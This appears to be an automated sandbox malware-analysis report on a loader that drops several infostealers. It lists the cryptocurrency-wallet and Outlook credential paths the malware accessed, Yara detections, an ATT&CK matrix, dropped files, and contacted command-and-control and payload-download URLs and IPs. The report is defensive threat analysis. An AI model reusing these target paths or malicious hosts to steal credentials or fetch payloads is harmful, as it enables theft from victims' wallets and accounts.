Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2717483187.00000000028F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2138074138.0000000003CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2027068709.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2589310760.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2Umx78uafM0WA03fzJyYYhBa.exe PID: 8072, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 00000027.00000002.3002403298.0000000002C91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3002271535.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2308704967.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E1307A sqlite3_transfer_bindings,	17_2_61E1307A
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D5E6 sqlite3_bind_int64,	17_2_61E2D5E6
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D595 sqlite3_bind_double,	17_2_61E2D595
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E0B431 sqlite3_clear_bindings,	17_2_61E0B431
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E037F3 sqlite3_value_frombind,	17_2_61E037F3
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D781 sqlite3_bind_zeroblob64,	17_2_61E2D781
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D714 sqlite3_bind_zeroblob,	17_2_61E2D714
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D68C sqlite3_bind_pointer,	17_2_61E2D68C
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D65B sqlite3_bind_null,	17_2_61E2D65B
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D635 sqlite3_bind_int,	17_2_61E2D635
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D9B0 sqlite3_bind_value,	17_2_61E2D9B0
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D981 sqlite3_bind_text16,	17_2_61E2D981
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D945 sqlite3_bind_text64,	17_2_61E2D945
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D916 sqlite3_bind_text,	17_2_61E2D916
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D8E7 sqlite3_bind_blob64,	17_2_61E2D8E7
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E038CA sqlite3_bind_parameter_count,	17_2_61E038CA
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E158CA sqlite3_bind_parameter_index,	17_2_61E158CA
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E038DC sqlite3_bind_parameter_name,	17_2_61E038DC
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E2D8B8 sqlite3_bind_blob,	17_2_61E2D8B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	1 Windows Service	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	368 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	NTDS	1071 Security Software Discovery	Distributed Component Object Model	1 Credential API Hooking	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	412 Process Injection	1 Install Root Certificate	LSA Secrets	2 Process Discovery	SSH	Keylogging	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	3 Software Packing	Cached Domain Credentials	481 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	481 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	412 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gobEmOm5sr.exe	55%	ReversingLabs	Win32.Trojan.Privateloader
gobEmOm5sr.exe	53%	Virustotal		Browse
gobEmOm5sr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\userJJJJDAAECG.exe	100%	Joe Sandbox ML
C:\ProgramData\DB Light Pack Engine 9.6.45\DB Light Pack Engine 9.6.45.exe	100%	Joe Sandbox ML
C:\Users\userDGHCBAAEHC.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\jewkkwnf\jewkkwnf.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.Privateloader
C:\ProgramData\jewkkwnf\jewkkwnf.exe	72%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal		Browse
C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	74%	Virustotal		Browse
C:\Users\userDGHCBAAEHC.exe	54%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\userDGHCBAAEHC.exe	38%	Virustotal		Browse
C:\Users\userJJJJDAAECG.exe	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\userJJJJDAAECG.exe	39%	Virustotal		Browse
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.Privateloader
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6fcb30b9dd_123p[1].exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6fcb30b9dd_123p[1].exe	74%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	25%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe	39%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sgnr[1].exe	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sgnr[1].exe	37%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vjgg[1].exe	54%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vjgg[1].exe	38%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d59ef9d4404_premium[1].exe	67%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d59ef9d4404_premium[1].exe	68%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
youtransfer.net	4%	Virustotal		Browse
ipinfo.io	0%	Virustotal		Browse
t.me	0%	Virustotal		Browse
file-link-iota.vercel.app	8%	Virustotal		Browse
iplogger.org	0%	Virustotal		Browse
stamppreewntnq.shop	100%	URL Reputation	phishing
condedqpwqm.shop	100%	URL Reputation	phishing
locatedblsoqp.shop	100%	URL Reputation	phishing
traineiwnqo.shop	100%	URL Reputation	malware
api64.ipify.org	0%	Virustotal		Browse
240902180529931.tyr.zont16.com	7%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
youtransfer.net	158.69.225.124	true	false	4%, Virustotal, Browse	unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
file-link-iota.vercel.app	76.76.21.142	true	false	8%, Virustotal, Browse	unknown
iplogger.org	104.26.2.46	true	false	0%, Virustotal, Browse	unknown
stamppreewntnq.shop	188.114.96.3	true	true	100%, URL Reputation
condedqpwqm.shop	104.21.10.172	true	true	100%, URL Reputation
api64.ipify.org	173.231.16.77	true	false	0%, Virustotal, Browse
240902180529931.tyr.zont16.com	unknown	unknown	false	7%, Virustotal, Browse
locatedblsoqp.shop	unknown	unknown	true	100%, URL Reputation
traineiwnqo.shop	unknown	unknown	true	100%, URL Reputation

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/c4754d4f680ead72.php	true
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true
147.45.47.36:30035	true
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	false
https://t.me/edm0d	true
http://147.45.126.10/sql.dll	true
http://46.29.235.52/vjgg.exe	false
http://185.215.113.100/	true
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true
http://46.29.235.52/vjgg.exe#space	false
http://46.29.235.52/sgnr.exe#space	false
https://iplogger.org/1nhuM4.js	false
https://youtransfer.net/handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5fcca567315ff7c87e27582&url=https%253A%252F%252Fyoutransfer.net%252FuuVCUDm6%252Fcb726802f5fcca567315ff7c87e27582	false
https://steamcommunity.com/profiles/76561199768374681	true
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true
locatedblsoqp.shop	true
https://file-link-iota.vercel.app/download	true
caffegclasiqwp.shop	true
millyscroqwp.shop	true
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true
http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#real	false
traineiwnqo.shop	true
condedqpwqm.shop	true
https://api64.ipify.org/?format=json	false

URLs from Memory and Binaries

Name	Source	Malicious
http://46.29.235.52/sgnr.exe#spacet=	RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusZ	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://46.29.235.52/vjgg.exe#spaceu4	RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false
http://aka.ms/msal-net-iwa	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://aka.ms/valid-authorities	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
https://aka.ms/msal-client-apps	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
https://aka.ms/adal-net-broker-redirect-uri-android	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
https://file-link-iota.vercel.app/&	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	true
https://aka.ms/msal-net-enable-keychain-access	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exen	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exej	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
https://api64.ipify.org:443/?format=json	RegAsm.exe, 00000002.00000002.1950398912.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false
http://gacan.zapto.org_DEBUG.zip/c	7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	false
http://147.45.44.104/prog/66d70e8640404_trics.exeC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false
http://www.softwareok.de/?Download=MagicMouseTrails	gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	false
http://46.29.235.52/sgnr.exe#space?	RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false
https://sso2urn:ietf:wg:oauth:2.0:oob	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeb	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1usoU	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-up	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://46.29.235.52/sgnr.exe#spaceC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false
http://46.29.235.52/vjgg.exe#spaceC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false
https://api64.ipify.org/J	RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-application-configuration	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
